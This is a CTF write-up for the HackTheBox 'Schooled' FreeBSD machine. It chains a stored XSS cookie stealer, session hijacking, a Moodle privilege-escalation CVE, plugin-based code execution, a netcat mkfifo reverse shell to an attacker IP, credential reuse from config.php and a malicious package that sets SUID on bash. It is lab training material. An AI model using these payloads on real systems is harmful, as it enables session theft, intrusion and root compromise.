Hello everyone , in this post I will be sharing my writeup for HTB schooled machine which was a medium linux machine that involved two ports ssh and http , on port 80 there was an apache server where a html template page was hosted. We found a domain name on that page and after that we did some subdomain enumeration and found moodle subdomain , after that if we visit courses there we’ll see an announcement telling that the teacher will look our MoodleNet profile so if we try to test for XSS we get a success so we can try to use xss to steal cookies and that worked to so we became the teacher on the site . We can then use a known CVE for moodle to get a shell ,after that we can grab the user’s hash from the database ,crack it with hashcat to perform a horziontal privilege escalation , checking what user can run as sudo seems that we can run pkg install which is kind of way to install packages in cent os through which we can install a vulnerable package to get root.


PORT      STATE SERVICE REASON         VERSION                                                                                                      
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGY8PnQ2GFk9RrUQ82xGivlyXZ8k99JFZAFlNqJIftRHSGWL3HsfaO08lnGCrqVxj3235k0L74SJAqWfJs1ykTRipcZpsI5QvwYPyqpisMgH
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHc4TgrG+CyKqaIsk10XmAhUKULXK6Bq3bHHeJiWuBmdGS1k3Fp60OoVFdDKQj9aihkaUmbJ8f
| 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPWIP8gV7SGQNoODfYq9qg1k3j6ZZg+1L9zIU9FrHPaf
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open mysqlx? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, SSLSessionReq, TLSSessionReq, X11Probe:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
|_ HY000


At the bottom we see a domain name so let’s add this to /etc/hosts file

I did not find anything intersting on port 80 also directory fuzzing was failing so we have a domain name let’s look for subdomain

Here we need to hide repsone with 461 lines

We found a subdomain moodle.schooled.htb

Names found from subdomain

Jamie Borham
Lianne Carter
Jane Higgins
Manuel Phillips

Other than that nothing was interesting so let’s register an account

It throws a lot of errors so let’s fix this.

We can only enroll in maths course

Also we can see the teacher’s profile

Checking forum activity we see that there’s an announcement made by the teacher

Set the MoodleNet profile

Now we can see that Teacher is online

Here we can check for XSS

So apparently I was doing it wrong and trying the xss session hijacking here as we were the only one who were triggering the file. The announcement had a message

This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set.Students who do not set their MoodleNet profiles will be  removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.

So instead of injecting xss on chat , let’s try on where we set moodle net profile also I used this xss cookie stealer


<img src=x onerror="this.src=''+document.cookie; this.removeAttribute('onerror');">

Now run the cookie stealer python script

At first you’ll see your own cookie but after sometime that script will be accessed by teacher’s account and you’ll get his session cookie , so copy the session cookie and replace it with your current session cookie

After becoming the teacher , I saw an option to switch roles

On moodle’s there are a bunch of reported vulnerabilities so I went reading about each one seemed interesting to me

And PoC was available on github


So here enroll click on enrolling the user and intercept the request with burp then send it to repeater

We can see that this user’s id is 24 so we edit the request by enrolling the teacher him self in the course and making him the manager by assigning role to 1

Now click on the other account who also has become manager and click on login as

At the bottom you’ll see Site Administration

There’s a problem we can’t upload any vulnerable plugin so we would need to modify manager role’s permissions , go to users --> define role then click on edit manager role and go to bottom intercept save changes request

You’ll see this , send it to repeater tab

Replace this all with the permissions seen on PoC ‘s repository

Now we can upload plugin

Click on install

You’ll see this screen , don’t click on continue instead trigger the remote code execution

Now to get a reverse shell I tried the netcat ,bash ones but they didn’t worked as this was a Free BSD box so this one worked

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc <ip> <port> > /tmp/f

I tried to acess user’s home directory but we didn’t had any permissions to view it so next in my mind came about database as moodle was storing usernames so by default websites are hosted in /usr/local/www on FreeBSD

In documentation it said that database configuration is in config.php , so after using the find command

So mysql is running on port 3306 but since it’s not a stabilized shell we can’t login so we can upload chisel binary on the machine and forward port 3306

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';
$CFG->prefix = 'mdl_';

Now we can’t use mysql binary as it is not in PATH variable

So there’s directory /usr/local

There’s a binary folder which means that must be the location where all binaries i.e python,perl,bash,mysql exists so we can use python to spawn a tty shell then use mysql

Python3 exists in /usr/local/bin so spawn and stabilize the shell

We can Jamie’s data there and he’s a user on the box

It’s a bcrypt hash ,save it in a file and crack it with either hashcat or john

SSH into the machine

Doing sudo -l we can see that this user can install any package

Reading the configuration file for pkg

It grabs from devops.htb which points to a private IP

But it wasn’t anything we could do so , searched for freebsd custom packages and found this article


Which explained how you can build your own packages, so bascially what this script is doing that creating a folder in james’ home directory named stage and a +PRE_DEINSTALL , +POST_INSTALL and +MANIFEST file .

The article says that

You want to run post-install and pre-deinstall tasks as it makes sure your files are in place when you do the system manipulation

So let’s modify the script from article and make put a command that will make bash a SUID in +POST_INSTALL

rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
# careful here, this may clobber your system
echo "Resetting root shell"
pw usermod -n root -s /bin/sh
# careful here, this may clobber your system
echo "Registering root shell"
chmod +s /usr/local/bin/bash
name: mypackage
version: "1.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
mkdir -p ${STAGEDIR}/usr/local/etc
echo "# hello world" > ${STAGEDIR}/usr/local/etc/my.conf
echo "/usr/local/etc/my.conf" > ${STAGEDIR}/plist
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .

Here’s what these shell scripts will do

So after running the above script we will have a FreeBSD package compiled

As we have sudo rights to install any package , install it with --no-repo-update

And we can bash having a SUID so if we do bash -p we will get root


Pentester | CTF Player